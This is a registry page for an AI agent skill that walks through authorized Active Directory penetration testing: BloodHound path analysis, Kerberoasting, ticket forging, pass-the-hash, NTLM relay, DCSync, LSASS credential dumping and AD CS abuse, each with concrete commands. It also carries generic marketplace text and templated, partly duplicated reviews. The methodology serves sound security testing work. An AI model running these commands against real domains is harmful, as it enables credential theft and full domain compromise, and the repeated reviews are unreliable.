executing-active-directory-attack-simulation▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.
| name | executing-active-directory-attack-simulation |
| description | 'Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment. ' |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | - Active-Directory - BloodHound - Mimikatz - Kerberoasting - domain-compromise |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | - Application Protocol Command Analysis - Network Isolation - Network Traffic Analysis - Client-server Payload Profiling - Network Traffic Community Deviation |
| nist_csf | - ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07 |
Executing Active Directory Attack Simulation
When to Use
- Assessing the security of an Active Directory domain and forest against common and advanced attack techniques
- Identifying attack paths from low-privilege domain user to Domain Admin using privilege relationship analysis
- Validating that Kerberos security configurations, credential policies, and delegation settings resist known attacks
- Testing detection capabilities of the SOC and EDR tools against Active Directory-specific TTPs
- Evaluating the effectiveness of tiered administration models and privileged access workstations
Do not use without explicit written authorization from the domain owner, against production domain controllers during business hours unless approved, or for testing that could cause account lockouts affecting real users without prior coordination.
Prerequisites
- Written authorization specifying the target AD domain, testing constraints, and any off-limits accounts or systems
- Low-privilege domain user account (minimum starting point) to simulate realistic attacker position
- Testing workstation joined to the domain or network access to domain controllers on ports 88, 135, 139, 389, 445, 636, 3268, 3269
- BloodHound Community Edition or Enterprise with SharpHound/AzureHound collectors
- Impacket toolkit, Mimikatz (or pypykatz), Rubeus, and CrackMapExec installed on the attack platform
- Hashcat or John the Ripper with current wordlists (rockyou.txt, SecLists) for offline credential cracking
Workflow
Step 1: Active Directory Reconnaissance
Enumerate the AD environment from a low-privilege domain user position:
- Domain enumeration:
Get-ADDomainorcrackmapexec smb <dc_ip> -u <user> -p <pass> --domainsto identify domain name, functional level, domain controllers, and forest trusts - User enumeration:
Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSetto identify service accounts, privileged accounts, and stale passwords - Group enumeration: Map membership of high-value groups (Domain Admins, Enterprise Admins, Schema Admins, Account Operators, Backup Operators) using
net group "Domain Admins" /domain - GPO enumeration:
Get-GPO -All | Get-GPOReport -ReportType XMLto identify Group Policy configurations including password policies, audit settings, and software deployment - Trust enumeration:
nltest /domain_trusts /all_truststo map inter-domain and inter-forest trusts, noting trust direction and transitivity - LDAP queries: Use
ldapsearchor ADExplorer to search for accounts withuserAccountControlflags indicating "password never expires", "password not required", or "DES-only Kerberos"
Step 2: BloodHound Attack Path Analysis
Collect and analyze AD relationship data to identify the shortest paths to Domain Admin:
- Run SharpHound collector:
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\to collect users, groups, sessions, ACLs, trusts, and GPO data - Import the JSON output into BloodHound and run built-in queries:
- "Shortest Paths to Domain Admins from Owned Principals"
- "Find Principals with DCSync Rights"
- "Find Computers where Domain Users are Local Admin"
- "Shortest Paths to Unconstrained Delegation Systems"
- "Find All Paths from Kerberoastable Users"
- Mark the compromised user as "owned" in BloodHound and analyze the resulting attack paths
- Identify ACL-based attack paths: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword on high-value objects
- Document each identified attack path with the chain of relationships and affected objects
Step 3: Kerberos Attacks
Execute Kerberos-based attacks against identified vulnerable accounts:
- Kerberoasting: Request TGS tickets for accounts with SPNs:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes. Crack offline withhashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt - AS-REP Roasting: Target accounts without Kerberos pre-authentication:
impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes. Crack withhashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt - Silver Ticket: If a service account's NTLM hash is cracked, forge a TGS ticket for that service using
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username> - Golden Ticket: If the krbtgt hash is obtained (post-domain compromise), forge a TGT:
mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi" - Unconstrained Delegation abuse: Identify computers with unconstrained delegation. Coerce authentication from a Domain Controller using PrinterBug or PetitPotam, then capture the DC's TGT from memory.
Step 4: Credential Attacks and Lateral Movement
Exploit harvested credentials to move through the domain:
- Pass-the-Hash:
impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>to execute commands on systems where the compromised account has local admin - Pass-the-Ticket:
export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-passto use captured or forged Kerberos tickets - NTLM Relay: Configure
impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>and coerce authentication to relay NTLM credentials for privilege escalation - DCSync: If DCSync rights are obtained (Replicating Directory Changes):
impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlmto dump all domain password hashes - Password spraying:
crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforcetesting one password across all accounts to avoid lockouts - LSASS dump: On compromised hosts, extract credentials from LSASS memory using
mimikatz "sekurlsa::logonpasswords"orprocdump -ma lsass.exe lsass.dmpfollowed by offline extraction
Step 5: Privilege Escalation to Domain Admin
Chain discovered attack paths to escalate from low-privilege user to Domain Admin:
- Follow the shortest path identified in BloodHound by executing each relationship (e.g., GenericWrite on a user -> set SPN -> Kerberoast -> crack password -> user is member of a group with WriteDACL on Domain Admins -> grant self membership)
- Exploit Group Policy Preferences (GPP) passwords if found:
crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologon - Target LAPS (Local Administrator Password Solution) if deployed: query LAPS passwords with
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd - Abuse certificate services (AD CS) with Certipy:
certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>to find exploitable certificate templates (ESC1-ESC8) - Document the complete attack chain from initial user to Domain Admin with every credential, tool, and technique used
Key Concepts
| Term | Definition |
|---|---|
| Kerberoasting | Requesting Kerberos TGS tickets for accounts with Service Principal Names and cracking them offline to recover the service account's plaintext password |
| AS-REP Roasting | Requesting Kerberos AS-REP responses for accounts without pre-authentication enabled and cracking the encrypted timestamp offline |
| DCSync | Using Directory Replication Service privileges (DS-Replication-Get-Changes-All) to replicate password data from a domain controller, mimicking the behavior of a DC |
| BloodHound | Graph-based Active Directory analysis tool that maps privilege relationships and identifies attack paths from any user to high-value targets like Domain Admin |
| Unconstrained Delegation | A Kerberos delegation configuration where a service can impersonate any user to any other service, allowing TGT capture from connecting users |
| Pass-the-Hash | Authentication technique using an NTLM hash directly instead of the plaintext password, exploiting Windows NTLM authentication |
| AD CS Abuse | Exploiting misconfigured Active Directory Certificate Services templates to request certificates that grant elevated privileges or impersonate other users |
| NTLM Relay | Forwarding captured NTLM authentication to a different service to authenticate as the victim, effective when SMB signing is not enforced |
Tools & Systems
- BloodHound: Attack path analysis tool that ingests AD data collected by SharpHound to visualize and identify privilege escalation paths through object relationships
- Impacket: Python toolkit for network protocol interactions including Kerberos attacks (GetUserSPNs, GetNPUsers), credential dumping (secretsdump), and remote execution (psexec, wmiexec)
- Mimikatz: Post-exploitation tool for extracting plaintext credentials, NTLM hashes, and Kerberos tickets from Windows memory (LSASS process)
- CrackMapExec: Multi-protocol attack tool for Active Directory environments supporting SMB, LDAP, WinRM, and MSSQL with built-in modules for password spraying and enumeration
- Certipy: Python tool for enumerating and exploiting Active Directory Certificate Services (AD CS) misconfigurations
Common Scenarios
Scenario: Domain Compromise Assessment for a Healthcare Organization
Context: A hospital network with a single Active Directory forest containing 5,000 user accounts, 800 computer objects, and 15 domain controllers across 3 sites. The tester starts with a single low-privilege domain user account. The goal is to determine if an attacker with stolen employee credentials could escalate to Domain Admin.
Approach:
- Run SharpHound to collect AD relationship data and import into BloodHound
- BloodHound reveals a path: owned user -> member of IT-Support group -> GenericAll on SVC-SQL account -> SVC-SQL has SPN -> Kerberoast -> SVC-SQL is local admin on DB-SERVER-01 -> DB-SERVER-01 has a Domain Admin session
- Kerberoast SVC-SQL, crack the weak password (Summer2023!) in 12 minutes using hashcat
- Use SVC-SQL credentials to access DB-SERVER-01 via psexec
- Extract Domain Admin credentials from LSASS memory on DB-SERVER-01
- Validate domain compromise by performing DCSync to dump all domain hashes
- Report the complete attack chain with remediation: set 25+ character passwords on service accounts, enable AES-only Kerberos encryption, remove unnecessary local admin rights, implement tiered administration
Pitfalls:
- Running SharpHound with noisy collection methods during peak hours, alerting the SOC via excessive LDAP queries
- Password spraying without checking the domain lockout policy first, locking out hundreds of accounts
- Forgetting to test for AD CS vulnerabilities which often provide the fastest path to Domain Admin
- Not checking for stale computer accounts that may still have cached credentials or active sessions
Output Format
## Finding: Service Account Vulnerable to Kerberoasting with Weak Password
**ID**: AD-002
**Severity**: Critical (CVSS 9.1)
**Affected Object**: [email protected] (Service Account)
**Attack Technique**: MITRE ATT&CK T1558.003 - Kerberoasting
**Description**:
The service account SVC-SQL has a Service Principal Name (MSSQLSvc/db-server-01.corp.example.com:1433)
registered in Active Directory and uses a weak password that was cracked in 12 minutes
using hashcat with the rockyou.txt wordlist. This account has local administrator
privileges on DB-SERVER-01, which had an active Domain Admin session at the time of
testing.
**Attack Chain**:
1. Requested TGS ticket: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. Cracked hash: hashcat -m 13100 hash.txt rockyou.txt (cracked in 12m: Summer2023!)
3. Lateral movement: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. Credential extraction: mimikatz sekurlsa::logonpasswords -> Domain Admin NTLM hash
**Impact**:
Complete domain compromise from a single low-privilege domain user account. An attacker
could access all 5,000 user accounts, 800 computer objects, and all data within the domain.
**Remediation**:
1. Set a 25+ character randomly generated password for SVC-SQL and all service accounts
2. Migrate to Group Managed Service Accounts (gMSA) which rotate 120-character passwords automatically
3. Enable AES256 encryption for Kerberos and disable RC4 (DES) encryption
4. Remove SVC-SQL from local administrator groups on DB-SERVER-01
5. Implement Protected Users group for privileged accounts to prevent credential caching
6. Deploy Microsoft Defender for Identity to detect Kerberoasting and DCSync attacks
How to use executing-active-directory-attack-simulation on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add executing-active-directory-attack-simulation
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches executing-active-directory-attack-simulation from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate executing-active-directory-attack-simulation. Access the skill through slash commands (e.g., /executing-active-directory-attack-simulation) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.6★★★★★74 reviews- ★★★★★Kwame Ramirez· Dec 24, 2024
executing-active-directory-attack-simulation has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Kaira Patel· Dec 8, 2024
Solid pick for teams standardizing on skills: executing-active-directory-attack-simulation is focused, and the summary matches what you get after install.
- ★★★★★Min Anderson· Nov 27, 2024
I recommend executing-active-directory-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Nikhil Flores· Nov 19, 2024
executing-active-directory-attack-simulation fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Ama Kapoor· Nov 15, 2024
Useful defaults in executing-active-directory-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Xiao Huang· Oct 18, 2024
Useful defaults in executing-active-directory-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Nikhil Malhotra· Oct 10, 2024
We added executing-active-directory-attack-simulation from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Emma Okafor· Oct 6, 2024
I recommend executing-active-directory-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Emma Sanchez· Sep 25, 2024
executing-active-directory-attack-simulation reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Oshnikdeep· Sep 21, 2024
I recommend executing-active-directory-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
showing 1-10 of 74